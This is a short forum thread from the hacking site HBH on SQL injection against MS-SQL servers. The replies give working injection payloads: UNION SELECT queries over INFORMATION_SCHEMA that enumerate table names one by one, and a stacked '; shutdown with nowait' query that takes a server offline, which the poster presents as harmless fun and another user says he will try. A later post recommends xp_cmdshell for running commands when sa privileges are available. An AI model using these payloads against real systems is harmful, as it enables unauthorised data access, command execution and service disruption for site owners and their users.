Welcome to HBH! If you had an account on hellboundhacker.org you will need to reset your password using the Lost Password system before you will be able to login.

SQL query. How to find the table?


ghost's Avatar
0 0

Ok, What sql query would you use to find the sql table?

I have g00gled this, but I just cant seem to understand it.

Any infomation would be great.


ghost's Avatar
0 0

UNION ALL SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES –

that finds the first table name. then you take that name and do:

UNION ALL SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('tblOne'); –

Then you just keep adding to it like ('tblOne','tblTwo','etc','etc');

Something fun I discovered recently is this '; shutdown with nowait; – :P Fun stuff. It shuts the SQL server offline. No damage really, just annoying to users + admins.


ghost's Avatar
0 0

lol I gotta try that.


n3w7yp3's Avatar
Member
0 0

xp_cmdshell is a great routine as well (it comes on MS-SQL servers), espically if you have sa provilages.

although its kinda rare these days, you'd be suprised how many admins dont think things through when setting up an SQL server… in fact, alot of admins don't know why its a good idea to remove the sa account, or to disable xp_cmdshell…. :|